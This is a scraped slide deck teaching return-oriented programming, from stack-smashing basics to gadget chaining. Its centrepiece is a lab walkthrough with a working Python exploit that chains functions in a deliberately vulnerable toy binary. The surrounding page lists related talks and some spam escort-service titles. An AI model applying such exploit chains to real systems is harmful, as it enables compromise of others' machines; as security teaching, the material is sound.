SlideShare a Scribd company logo
1 of 43
Download to read offline
An Intro to Return-Oriented Programming
Miguel A. Arroyo
Go Go Gadget!
@miguelaarroyo12
Recap - Memory Corruption Basics
● Smashing The Stack
#include <string.h>
void foo (char *bar) {
char c[12];
strcpy(c, bar); // no bounds checking
}
int main (int argc, char **argv){
foo(argv[1]);
return 0;
}
Parent Frame
Return Address
Saved Frame
Pointer
char *bar
char c[12]
StackGrowth
MemoryAddresses
● Smashing The Stack
#include <string.h>
void foo (char *bar) {
char c[12];
strcpy(c, bar); // no bounds checking
}
int main (int argc, char **argv){
foo(argv[1]);
return 0;
}
Parent Frame
Return Address
Saved Frame
Pointer
char *bar
char c[12]
StackGrowth
MemoryAddresses
h e l l
o 0
Recap - Memory Corruption Basics
● Smashing The Stack
#include <string.h>
void foo (char *bar) {
char c[12];
strcpy(c, bar); // no bounds checking
}
int main (int argc, char **argv){
foo(argv[1]);
return 0;
}
Parent Frame
Return Address
Saved Frame
Pointer
char *bar
char c[12]
StackGrowth
MemoryAddresses
A A A A
A A A A
A A A A
A A A A
A A A A
Recap - Memory Corruption Basics
ROP - An Origin Story
● No eXecute (NX) stack
SHELLCODE
Return Address
Saved Frame
Pointer
char *bar
char c[12]
StackGrowth
MemoryAddresses
A A A A
A A A A
A A A A
A A A A
08 35 c0 80
ROP - An Origin Story
SHELLCODE
Return Address
Saved Frame
Pointer
char *bar
char c[12]
StackGrowth
MemoryAddresses
A A A A
A A A A
A A A A
A A A A
08 35 c0 80
Segmentation Fault
No more code injection!
● No eXecute (NX) stack
ROP - An Origin Story
SHELLCODE
Return Address
Saved Frame
Pointer
char *bar
char c[12]
StackGrowth
MemoryAddresses
A A A A
A A A A
A A A A
A A A A
08 35 c0 80
Key Question
Can we reuse existing code?
● No eXecute (NX) stack
ROP - An Origin Story
Smashing the Stack For Fun and Profit (1996) - By Aleph One
Original: http://phrack.org/issues/49/14.html#article
Additional Resource: https://travisf.net/smashing-the-stack-today
ROP - An Origin Story
● Smashing the Stack For Fun and Profit (1996) - By Aleph One
○ ret2libc
■ libc whole function reuse.
● Classic example: execve(“/bin/sh”)
ROP - An Origin Story
● Smashing the Stack For Fun and Profit (1996) - By Aleph One
○ ret2libc
■ libc whole function reuse.
● Classic example: execve(“/bin/sh”)
Virtual Address
Space
./hello_world
libc
0x4000
0x8000
ROP - An Origin Story
● Smashing the Stack For Fun and Profit (1996) - By Aleph One
○ ret2libc
■ libc whole function reuse.
● Classic example: execve(“/bin/sh”)
Virtual Address
Space
./hello_world
libc
0x4000
0x8000
Key Question
Can this be generalized & finer-
grained than a function?
The Birth of ROP
The Birth of ROP
The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function
Calls (on the x86) - 2007 - By Hovav Shacham
https://hovav.net/ucsd/dist/geometry.pdf
● A generalization of the ret2libc by combining short instruction sequences
to build gadgets that allow arbitrary computation.
○ Some gadgets are present in the program, others can be found despite not being placed there
by the compiler
ROP Building Blocks
● Chain gadgets to execute malicious code.
● A gadget is a short sequence of instructions ending in the branch instruction
ret (x86) or b/bx (ARMv7).
● Turing complete class of gadgets:
○ Load/Store
○ Arithmetic and Logic
○ Control Flow
x86
● pop eax; ret //load
● xor eax, eax; ret //arth
ARMv7
● pop {r1, pc} //load
● str r1, [r0]; bx lr //store
Note: Because x86 instructions aren’t aligned, a gadget can contain another gadget. How frequently this
occurs depends on the language geometry.
ROP Building Blocks
● Ordinary Program Execution
Instruction
Instruction
Instruction
Instruction
Instruction
%ip
ROP Building Blocks
● Ordinary Program Execution
Instruction
Instruction
Instruction
Instruction
Instruction
%ip
ROP Building Blocks
● Ordinary Program Execution
Instruction
Instruction
Instruction
Instruction
Instruction
%ip
ROP Building Blocks
● Ordinary Program Execution
○ Instruction pointer %ip determines which instruction to fetch and execute
○ Processor automatically increments %ip and moves to next instruction
○ Control flow is changed by modifying %ip.
Instruction
Instruction
Instruction
Instruction
Instruction
%ip
ROP Building Blocks
● ROP Program Execution
G1 - Instruction
G1- Return
G2 - Instruction
G2 - Return
G3- Instruction
%ip
@gadget1
@gadget2
@gadget3
G3- Return
%sp
Stack
ROP Building Blocks
● ROP Program Execution
G1 - Instruction
G1- Return
G2 - Instruction
G2 - Return
G3- Instruction
%ip
@gadget1
@gadget2
@gadget3
G3- Return
%sp
Stack
ROP Building Blocks
● ROP Program Execution
G1 - Instruction
G1- Return
G2 - Instruction
G2 - Return
G3- Instruction
%ip
@gadget1
@gadget2
@gadget3
G3- Return
%sp
Stack
ROP Building Blocks
● ROP Program Execution
G1 - Instruction
G1- Return
G2 - Instruction
G2 - Return
G3- Instruction
%ip
@gadget1
@gadget2
@gadget3
G3- Return
%sp
Stack
ROP Building Blocks
● ROP Program Execution
G1 - Instruction
G1- Return
G2 - Instruction
G2 - Return
G3- Instruction
%ip
@gadget1
@gadget2
@gadget3
G3- Return
%sp
Stack
ROP Building Blocks
● ROP Program Execution
○ Stack pointer %sp determines which instruction sequence to
fetch and execute.
○ Return (instead of processor) automatically increments %sp.
G1 - Instruction
G1- Return
G2 - Instruction
G2 - Return
G3- Instruction
%ip
@gadget1
@gadget2
@gadget3
G3- Return
%sp
Recap - Calling Conventions
● Determine how functions receive parameters from their caller and how they
return a result.
● Variations in conventions
○ Compilers (ie. GCC vs Clang vs MSVC vs ...)
○ Architectures (ie. X86 vs ARM vs MIPS vs …)
Note: Wikipedia provides a great overview for many of the variations:
https://en.wikipedia.org/wiki/Calling_convention
Recap - Calling Conventions
● X86 cdecl
○ Most commonly found on Linux systems.
○ Function arguments are passed in on the stack in reverse order.
Note: This site provides a good mini tutorial http://codearcana.com/posts/2013/05/21/a-brief-
introduction-to-x86-calling-conventions.html
Simple ROP Walkthrough
Source: https://gist.github.com/mayanez/c6bb9f2a26fa75261a9a26a0a637531b
void lazy();
void food(int magic);
void feeling_sick(int magic1, int magic2);
void vuln(char *string);
int main(int argc, char** argv) {
string[0] = 0;
printf("m3 hUN6rY...cAn 1 haZ 5H3ll?! f33d mE s0m3 beefnn");
if (argc > 1) {
vuln(argv[1]);
} else {
printf("y0u f0rG0T t0 f33d mE!!!n");
}
return 0;
Simple ROP Walkthrough
void lazy() {
system(string);
}
void food(int magic) {
printf("THANK YOU!n");
if (magic == 0xdeadbeef) {
strcat(string, "/bin");
}
}
void feeling_sick(int magic1, int magic2) {
printf("1m f33ling s1cK...n");
if (magic1 == 0xd15ea5e && magic2 == 0x0badf00d)
{
strcat(string, "/echo 'This message will self
destruct in 30 seconds...BOOM!'");
}
}
Adapted from: http://codearcana.com/posts/2013/05/28/introduction-to-return-oriented-programming-rop.html
Simple ROP Walkthrough
void lazy() {
system(string);
}
void food(int magic) {
printf("THANK YOU!n");
if (magic == 0xdeadbeef) {
strcat(string, "/bin");
}
}
void feeling_sick(int magic1, int magic2) {
printf("1m f33ling s1cK...n");
if (magic1 == 0xd15ea5e && magic2 == 0x0badf00d)
{
strcat(string, "/echo 'This message will self
destruct in 30 seconds...BOOM!'");
}
}
Goal
Chain the functions in the following order:
1. food()
2. feeling_sick()
3. lazy()
Simple ROP Walkthrough
● Identifying necessary addresses
○ Functions
■ objdump -d <binary> | grep <func>
● Finding Gadgets
○ Simplest
■ objdump -d <binary> | less
○ ROP Compiler
■ https://github.com/JonathanSalwan/ROPgadget
■ https://github.com/sashs/Ropper
Note: When dealing with other architectures (eg. ARMv7) you must use appropriate tools (eg. arm-
linux-gnueabihf-objdump)
Simple ROP Walkthrough
Demo (x86)
Simple ROP Walkthrough Demo (x86)
● Step 1: Make
➜ simple-rop git:(master) ✗ make
gcc -m32 -O0 -g -static -fno-stack-protector simple-rop.c -o
simple-rop
Simple ROP Walkthrough Demo (x86)
● Step 2: Locate function addresses
➜ simple-rop git:(master) ✗ objdump -d simple-rop| grep -E
"<lazy>|<food>|<feeling_sick>"
08049b05 <lazy>:
08049b30 <food>:
08049b92 <feeling_sick>:
Simple ROP Walkthrough Demo (x86)
● Step 3: Locate gadgets
➜ simple-rop git:(master) ✗ objdump -d simple-rop | pcregrep
-M 'pop.*(n).*.pop.*(n).*.ret' | grep -n1 9ca5
10- 8049ca4: 5f pop %edi
11: 8049ca5: 5d pop %ebp
12- 8049ca6: c3 ret
Simple ROP Walkthrough Demo (x86)
● Step 4: Planning
food() desired stack layout
| <argument> |
| <return address> |
Simple ROP Walkthrough Demo (x86)
● Step 4: Planning
food() desired stack layout
| 0xdeadbeef |
| <address of pop; ret> |
| <address of food> |
Simple ROP Walkthrough Demo (x86)
● Step 4: Planning
feeling_sick() desired stack layout
| 0x0badf00d |
| 0xd15ea5e |
| <address of pop; pop; ret> |
| <address of feeling_sick> |
Simple ROP Walkthrough Demo (x86)
● Step 4: Planning
Full Payload
| <address of lazy> |
| 0x0badf00d |
| 0xd15ea5e |
| <address of pop; pop; ret> |
| <address of feeling_sick> |
| 0xdeadbeef |
| <address of pop; ret> |
| <address of food> |
| 0x42424242 (fake saved %ebp) |
| 0x41414141 ... |
Simple ROP Walkthrough Demo (x86)
● Step 5: Writing the exploit
○ Use your language of choice
Simple ROP Walkthrough Demo (x86)
● Step 5: Writing the exploit
# NOTE: For Python 2.7
import os
import struct
#Find gadgets
pop_ret = 0x08049ca5
pop_pop_ret = 0x08049ca4
lazy = 0x08049b05
food = 0x08049b30
feeling_sick = 0x08049b92
#Buffer Overflow
payload = "A"*0x6c
payload += "BBBB"
#food(0xdeadbeef) gadget
payload += struct.pack("I", food)
payload += struct.pack("I", pop_ret)
payload += struct.pack("I", 0xdeadbeef)
#feeling_sick(0xd15ea5e, 0x0badf00d)
payload += struct.pack("I", feeling_sick)
payload += struct.pack("I", pop_pop_ret)
payload += struct.pack("I", 0xd15ea5e)
payload += struct.pack("I", 0x0badf00d)
payload += struct.pack("I", lazy)
os.system("./simple-rop "%s"" % payload)
ROP Variants (Code Reuse Techniques)
● Just-In-Time ROP (JIT-ROP)
○ https://cs.unc.edu/~fabian/papers/oakland2013.pdf
● Jump Oriented Programming (JOP)
○ https://www.comp.nus.edu.sg/~liangzk/papers/asiaccs11.pdf
● Blind Return Oriented Programming (BROP)
○ http://www.scs.stanford.edu/brop/bittau-brop.pdf
Keep on Learning
● Assembly Basics
○ X86
■ https://www.nayuki.io/page/a-fundamental-introduction-to-x86-assembly-programming
○ ARMv7
■ https://azeria-labs.com/writing-arm-assembly-part-1/
● General Binary Exploitation
○ X86
■ https://github.com/RPISEC/MBE
○ ARMv7
■ https://azeria-labs.com/writing-arm-shellcode/
■ https://blog.3or.de/arm-exploitation-return-oriented-programming.html
● Multi-arch development
○ https://github.com/mayanez/crossdev
■ Still needs work, contributions welcome!
Questions?
Slides can be found on my site:
https://miguel.arroyo.me/
@miguelaarroyo12

More Related Content

What's hot

台科逆向簡報
台科逆向簡報台科逆向簡報
台科逆向簡報耀德 蔡
 
typemap in Perl/XS
typemap in Perl/XS  typemap in Perl/XS
typemap in Perl/XS charsbar
 
Debugging of (C)Python applications
Debugging of (C)Python applicationsDebugging of (C)Python applications
Debugging of (C)Python applicationsRoman Podoliaka
 
[FT-11][suhorng] “Poor Man's” Undergraduate Compilers
[FT-11][suhorng] “Poor Man's” Undergraduate Compilers[FT-11][suhorng] “Poor Man's” Undergraduate Compilers
[FT-11][suhorng] “Poor Man's” Undergraduate CompilersFunctional Thursday
 
Kernel Recipes 2016 - Why you need a test strategy for your kernel development
Kernel Recipes 2016 - Why you need a test strategy for your kernel developmentKernel Recipes 2016 - Why you need a test strategy for your kernel development
Kernel Recipes 2016 - Why you need a test strategy for your kernel developmentAnne Nicolas
 
HHVM on AArch64 - BUD17-400K1
HHVM on AArch64 - BUD17-400K1HHVM on AArch64 - BUD17-400K1
HHVM on AArch64 - BUD17-400K1Linaro
 
Swift: Apple's New Programming Language for iOS and OS X
Swift: Apple's New Programming Language for iOS and OS XSwift: Apple's New Programming Language for iOS and OS X
Swift: Apple's New Programming Language for iOS and OS XSasha Goldshtein
 
C言語静的解析ツールと Ruby 1.9 trunk
C言語静的解析ツールと Ruby 1.9 trunkC言語静的解析ツールと Ruby 1.9 trunk
C言語静的解析ツールと Ruby 1.9 trunkikegami__
 
Exploit techniques - a quick review
Exploit techniques - a quick reviewExploit techniques - a quick review
Exploit techniques - a quick reviewCe.Se.N.A. Security
 
Stack Smashing Protector (Paul Rascagneres)
Stack Smashing Protector (Paul Rascagneres)Stack Smashing Protector (Paul Rascagneres)
Stack Smashing Protector (Paul Rascagneres)Hackfest Communication
 
[2012 CodeEngn Conference 06] pwn3r - Secuinside 2012 CTF 예선 문제풀이
[2012 CodeEngn Conference 06] pwn3r - Secuinside 2012 CTF 예선 문제풀이[2012 CodeEngn Conference 06] pwn3r - Secuinside 2012 CTF 예선 문제풀이
[2012 CodeEngn Conference 06] pwn3r - Secuinside 2012 CTF 예선 문제풀이GangSeok Lee
 
Kamil witecki asynchronous, yet readable, code
Kamil witecki asynchronous, yet readable, codeKamil witecki asynchronous, yet readable, code
Kamil witecki asynchronous, yet readable, codeKamil Witecki
 
Application of Radare2 Illustrated by Shylock and Snakso.A Analysis
Application of Radare2 Illustrated by Shylock and Snakso.A AnalysisApplication of Radare2 Illustrated by Shylock and Snakso.A Analysis
Application of Radare2 Illustrated by Shylock and Snakso.A AnalysisPositive Hack Days
 

What's hot (20)

台科逆向簡報
台科逆向簡報台科逆向簡報
台科逆向簡報
 
typemap in Perl/XS
typemap in Perl/XS  typemap in Perl/XS
typemap in Perl/XS
 
Debugging of (C)Python applications
Debugging of (C)Python applicationsDebugging of (C)Python applications
Debugging of (C)Python applications
 
[FT-11][suhorng] “Poor Man's” Undergraduate Compilers
[FT-11][suhorng] “Poor Man's” Undergraduate Compilers[FT-11][suhorng] “Poor Man's” Undergraduate Compilers
[FT-11][suhorng] “Poor Man's” Undergraduate Compilers
 
Kernel Recipes 2016 - Why you need a test strategy for your kernel development
Kernel Recipes 2016 - Why you need a test strategy for your kernel developmentKernel Recipes 2016 - Why you need a test strategy for your kernel development
Kernel Recipes 2016 - Why you need a test strategy for your kernel development
 
Klee and angr
Klee and angrKlee and angr
Klee and angr
 
HHVM on AArch64 - BUD17-400K1
HHVM on AArch64 - BUD17-400K1HHVM on AArch64 - BUD17-400K1
HHVM on AArch64 - BUD17-400K1
 
Swift: Apple's New Programming Language for iOS and OS X
Swift: Apple's New Programming Language for iOS and OS XSwift: Apple's New Programming Language for iOS and OS X
Swift: Apple's New Programming Language for iOS and OS X
 
Mona cheatsheet
Mona cheatsheetMona cheatsheet
Mona cheatsheet
 
C言語静的解析ツールと Ruby 1.9 trunk
C言語静的解析ツールと Ruby 1.9 trunkC言語静的解析ツールと Ruby 1.9 trunk
C言語静的解析ツールと Ruby 1.9 trunk
 
Exploit techniques - a quick review
Exploit techniques - a quick reviewExploit techniques - a quick review
Exploit techniques - a quick review
 
Stack Smashing Protector (Paul Rascagneres)
Stack Smashing Protector (Paul Rascagneres)Stack Smashing Protector (Paul Rascagneres)
Stack Smashing Protector (Paul Rascagneres)
 
[2012 CodeEngn Conference 06] pwn3r - Secuinside 2012 CTF 예선 문제풀이
[2012 CodeEngn Conference 06] pwn3r - Secuinside 2012 CTF 예선 문제풀이[2012 CodeEngn Conference 06] pwn3r - Secuinside 2012 CTF 예선 문제풀이
[2012 CodeEngn Conference 06] pwn3r - Secuinside 2012 CTF 예선 문제풀이
 
Kamil witecki asynchronous, yet readable, code
Kamil witecki asynchronous, yet readable, codeKamil witecki asynchronous, yet readable, code
Kamil witecki asynchronous, yet readable, code
 
Scope and closures
Scope and closuresScope and closures
Scope and closures
 
C&cpu
C&cpuC&cpu
C&cpu
 
Ctf hello,world!
Ctf hello,world! Ctf hello,world!
Ctf hello,world!
 
clang-intro
clang-introclang-intro
clang-intro
 
TensorFlow XLA RPC
TensorFlow XLA RPCTensorFlow XLA RPC
TensorFlow XLA RPC
 
Application of Radare2 Illustrated by Shylock and Snakso.A Analysis
Application of Radare2 Illustrated by Shylock and Snakso.A AnalysisApplication of Radare2 Illustrated by Shylock and Snakso.A Analysis
Application of Radare2 Illustrated by Shylock and Snakso.A Analysis
 

Similar to Go Go Gadget! - An Intro to Return Oriented Programming (ROP)

Software to the slaughter
Software to the slaughterSoftware to the slaughter
Software to the slaughterQuinn Wilton
 
An introduction to ROP
An introduction to ROPAn introduction to ROP
An introduction to ROPSaumil Shah
 
Exploring the x64
Exploring the x64Exploring the x64
Exploring the x64FFRI, Inc.
 
Introduction to gdb
Introduction to gdbIntroduction to gdb
Introduction to gdbOwen Hsu
 
Load-time Hacking using LD_PRELOAD
Load-time Hacking using LD_PRELOADLoad-time Hacking using LD_PRELOAD
Load-time Hacking using LD_PRELOADDharmalingam Ganesan
 
Hacking with ruby2ruby
Hacking with ruby2rubyHacking with ruby2ruby
Hacking with ruby2rubyMarc Chung
 
Make ARM Shellcode Great Again - HITB2018PEK
Make ARM Shellcode Great Again - HITB2018PEKMake ARM Shellcode Great Again - HITB2018PEK
Make ARM Shellcode Great Again - HITB2018PEKSaumil Shah
 
StackOverflow
StackOverflowStackOverflow
StackOverflowSusam Pal
 
Understanding eBPF in a Hurry!
Understanding eBPF in a Hurry!Understanding eBPF in a Hurry!
Understanding eBPF in a Hurry!Ray Jenkins
 
07 - Bypassing ASLR, or why X^W matters
07 - Bypassing ASLR, or why X^W matters07 - Bypassing ASLR, or why X^W matters
07 - Bypassing ASLR, or why X^W mattersAlexandre Moneger
 
Scale17x buffer overflows
Scale17x buffer overflowsScale17x buffer overflows
Scale17x buffer overflowsjohseg
 
Apache Hadoop Shell Rewrite
Apache Hadoop Shell RewriteApache Hadoop Shell Rewrite
Apache Hadoop Shell RewriteAllen Wittenauer
 
Beauty and the beast - Haskell on JVM
Beauty and the beast  - Haskell on JVMBeauty and the beast  - Haskell on JVM
Beauty and the beast - Haskell on JVMJarek Ratajski
 
05 - Bypassing DEP, or why ASLR matters
05 - Bypassing DEP, or why ASLR matters05 - Bypassing DEP, or why ASLR matters
05 - Bypassing DEP, or why ASLR mattersAlexandre Moneger
 
HackLU 2018 Make ARM Shellcode Great Again
HackLU 2018 Make ARM Shellcode Great AgainHackLU 2018 Make ARM Shellcode Great Again
HackLU 2018 Make ARM Shellcode Great AgainSaumil Shah
 
Diving into HHVM Extensions (php[tek] 2016)
Diving into HHVM Extensions (php[tek] 2016)Diving into HHVM Extensions (php[tek] 2016)
Diving into HHVM Extensions (php[tek] 2016)James Titcumb
 
DevOps in PHP environment
DevOps in PHP environmentDevOps in PHP environment
DevOps in PHP environmentEvaldo Felipe
 
Course lecture - An introduction to the Return Oriented Programming
Course lecture - An introduction to the Return Oriented ProgrammingCourse lecture - An introduction to the Return Oriented Programming
Course lecture - An introduction to the Return Oriented ProgrammingJonathan Salwan
 

Similar to Go Go Gadget! - An Intro to Return Oriented Programming (ROP) (20)

Software to the slaughter
Software to the slaughterSoftware to the slaughter
Software to the slaughter
 
An introduction to ROP
An introduction to ROPAn introduction to ROP
An introduction to ROP
 
Exploring the x64
Exploring the x64Exploring the x64
Exploring the x64
 
Introduction to gdb
Introduction to gdbIntroduction to gdb
Introduction to gdb
 
Load-time Hacking using LD_PRELOAD
Load-time Hacking using LD_PRELOADLoad-time Hacking using LD_PRELOAD
Load-time Hacking using LD_PRELOAD
 
Hacking with ruby2ruby
Hacking with ruby2rubyHacking with ruby2ruby
Hacking with ruby2ruby
 
Make ARM Shellcode Great Again - HITB2018PEK
Make ARM Shellcode Great Again - HITB2018PEKMake ARM Shellcode Great Again - HITB2018PEK
Make ARM Shellcode Great Again - HITB2018PEK
 
StackOverflow
StackOverflowStackOverflow
StackOverflow
 
Understanding eBPF in a Hurry!
Understanding eBPF in a Hurry!Understanding eBPF in a Hurry!
Understanding eBPF in a Hurry!
 
07 - Bypassing ASLR, or why X^W matters
07 - Bypassing ASLR, or why X^W matters07 - Bypassing ASLR, or why X^W matters
07 - Bypassing ASLR, or why X^W matters
 
Scale17x buffer overflows
Scale17x buffer overflowsScale17x buffer overflows
Scale17x buffer overflows
 
Apache Hadoop Shell Rewrite
Apache Hadoop Shell RewriteApache Hadoop Shell Rewrite
Apache Hadoop Shell Rewrite
 
test
testtest
test
 
Beauty and the beast - Haskell on JVM
Beauty and the beast  - Haskell on JVMBeauty and the beast  - Haskell on JVM
Beauty and the beast - Haskell on JVM
 
Eta
EtaEta
Eta
 
05 - Bypassing DEP, or why ASLR matters
05 - Bypassing DEP, or why ASLR matters05 - Bypassing DEP, or why ASLR matters
05 - Bypassing DEP, or why ASLR matters
 
HackLU 2018 Make ARM Shellcode Great Again
HackLU 2018 Make ARM Shellcode Great AgainHackLU 2018 Make ARM Shellcode Great Again
HackLU 2018 Make ARM Shellcode Great Again
 
Diving into HHVM Extensions (php[tek] 2016)
Diving into HHVM Extensions (php[tek] 2016)Diving into HHVM Extensions (php[tek] 2016)
Diving into HHVM Extensions (php[tek] 2016)
 
DevOps in PHP environment
DevOps in PHP environmentDevOps in PHP environment
DevOps in PHP environment
 
Course lecture - An introduction to the Return Oriented Programming
Course lecture - An introduction to the Return Oriented ProgrammingCourse lecture - An introduction to the Return Oriented Programming
Course lecture - An introduction to the Return Oriented Programming
 

Recently uploaded

What is Binary Language? Computer Number Systems
What is Binary Language?  Computer Number SystemsWhat is Binary Language?  Computer Number Systems
What is Binary Language? Computer Number SystemsJheuzeDellosa
 
Salesforce Certified Field Service Consultant
Salesforce Certified Field Service ConsultantSalesforce Certified Field Service Consultant
Salesforce Certified Field Service ConsultantAxelRicardoTrocheRiq
 
Alluxio Monthly Webinar | Cloud-Native Model Training on Distributed Data
Alluxio Monthly Webinar | Cloud-Native Model Training on Distributed DataAlluxio Monthly Webinar | Cloud-Native Model Training on Distributed Data
Alluxio Monthly Webinar | Cloud-Native Model Training on Distributed DataAlluxio, Inc.
 
cybersecurity notes for mca students for learning
cybersecurity notes for mca students for learningcybersecurity notes for mca students for learning
cybersecurity notes for mca students for learningVitsRangannavar
 
What is Fashion PLM and Why Do You Need It
What is Fashion PLM and Why Do You Need ItWhat is Fashion PLM and Why Do You Need It
What is Fashion PLM and Why Do You Need ItWave PLM
 
EY_Graph Database Powered Sustainability
EY_Graph Database Powered SustainabilityEY_Graph Database Powered Sustainability
EY_Graph Database Powered SustainabilityNeo4j
 
The Evolution of Karaoke From Analog to App.pdf
The Evolution of Karaoke From Analog to App.pdfThe Evolution of Karaoke From Analog to App.pdf
The Evolution of Karaoke From Analog to App.pdfPower Karaoke
 
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...ICS
 
Hand gesture recognition PROJECT PPT.pptx
Hand gesture recognition PROJECT PPT.pptxHand gesture recognition PROJECT PPT.pptx
Hand gesture recognition PROJECT PPT.pptxbodapatigopi8531
 
Optimizing AI for immediate response in Smart CCTV
Optimizing AI for immediate response in Smart CCTVOptimizing AI for immediate response in Smart CCTV
Optimizing AI for immediate response in Smart CCTVshikhaohhpro
 
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...MyIntelliSource, Inc.
 
HR Software Buyers Guide in 2024 - HRSoftware.com
HR Software Buyers Guide in 2024 - HRSoftware.comHR Software Buyers Guide in 2024 - HRSoftware.com
HR Software Buyers Guide in 2024 - HRSoftware.comFatema Valibhai
 
Asset Management Software - Infographic
Asset Management Software - InfographicAsset Management Software - Infographic
Asset Management Software - InfographicHr365.us smith
 
ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...
ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...
ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...Christina Lin
 
Project Based Learning (A.I).pptx detail explanation
Project Based Learning (A.I).pptx detail explanationProject Based Learning (A.I).pptx detail explanation
Project Based Learning (A.I).pptx detail explanationkaushalgiri8080
 
Engage Usergroup 2024 - The Good The Bad_The Ugly
Engage Usergroup 2024 - The Good The Bad_The UglyEngage Usergroup 2024 - The Good The Bad_The Ugly
Engage Usergroup 2024 - The Good The Bad_The UglyFrank van der Linden
 
(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...
(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...
(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...gurkirankumar98700
 
XpertSolvers: Your Partner in Building Innovative Software Solutions
XpertSolvers: Your Partner in Building Innovative Software SolutionsXpertSolvers: Your Partner in Building Innovative Software Solutions
XpertSolvers: Your Partner in Building Innovative Software SolutionsMehedi Hasan Shohan
 
BATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASE
BATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASEBATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASE
BATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASEOrtus Solutions, Corp
 

Recently uploaded (20)

What is Binary Language? Computer Number Systems
What is Binary Language?  Computer Number SystemsWhat is Binary Language?  Computer Number Systems
What is Binary Language? Computer Number Systems
 
Salesforce Certified Field Service Consultant
Salesforce Certified Field Service ConsultantSalesforce Certified Field Service Consultant
Salesforce Certified Field Service Consultant
 
Alluxio Monthly Webinar | Cloud-Native Model Training on Distributed Data
Alluxio Monthly Webinar | Cloud-Native Model Training on Distributed DataAlluxio Monthly Webinar | Cloud-Native Model Training on Distributed Data
Alluxio Monthly Webinar | Cloud-Native Model Training on Distributed Data
 
cybersecurity notes for mca students for learning
cybersecurity notes for mca students for learningcybersecurity notes for mca students for learning
cybersecurity notes for mca students for learning
 
What is Fashion PLM and Why Do You Need It
What is Fashion PLM and Why Do You Need ItWhat is Fashion PLM and Why Do You Need It
What is Fashion PLM and Why Do You Need It
 
EY_Graph Database Powered Sustainability
EY_Graph Database Powered SustainabilityEY_Graph Database Powered Sustainability
EY_Graph Database Powered Sustainability
 
The Evolution of Karaoke From Analog to App.pdf
The Evolution of Karaoke From Analog to App.pdfThe Evolution of Karaoke From Analog to App.pdf
The Evolution of Karaoke From Analog to App.pdf
 
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
 
Hand gesture recognition PROJECT PPT.pptx
Hand gesture recognition PROJECT PPT.pptxHand gesture recognition PROJECT PPT.pptx
Hand gesture recognition PROJECT PPT.pptx
 
Optimizing AI for immediate response in Smart CCTV
Optimizing AI for immediate response in Smart CCTVOptimizing AI for immediate response in Smart CCTV
Optimizing AI for immediate response in Smart CCTV
 
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
 
HR Software Buyers Guide in 2024 - HRSoftware.com
HR Software Buyers Guide in 2024 - HRSoftware.comHR Software Buyers Guide in 2024 - HRSoftware.com
HR Software Buyers Guide in 2024 - HRSoftware.com
 
Asset Management Software - Infographic
Asset Management Software - InfographicAsset Management Software - Infographic
Asset Management Software - Infographic
 
Call Girls In Mukherjee Nagar 📱 9999965857 🤩 Delhi 🫦 HOT AND SEXY VVIP 🍎 SE...
Call Girls In Mukherjee Nagar 📱  9999965857  🤩 Delhi 🫦 HOT AND SEXY VVIP 🍎 SE...Call Girls In Mukherjee Nagar 📱  9999965857  🤩 Delhi 🫦 HOT AND SEXY VVIP 🍎 SE...
Call Girls In Mukherjee Nagar 📱 9999965857 🤩 Delhi 🫦 HOT AND SEXY VVIP 🍎 SE...
 
ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...
ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...
ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...
 
Project Based Learning (A.I).pptx detail explanation
Project Based Learning (A.I).pptx detail explanationProject Based Learning (A.I).pptx detail explanation
Project Based Learning (A.I).pptx detail explanation
 
Engage Usergroup 2024 - The Good The Bad_The Ugly
Engage Usergroup 2024 - The Good The Bad_The UglyEngage Usergroup 2024 - The Good The Bad_The Ugly
Engage Usergroup 2024 - The Good The Bad_The Ugly
 
(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...
(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...
(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...
 
XpertSolvers: Your Partner in Building Innovative Software Solutions
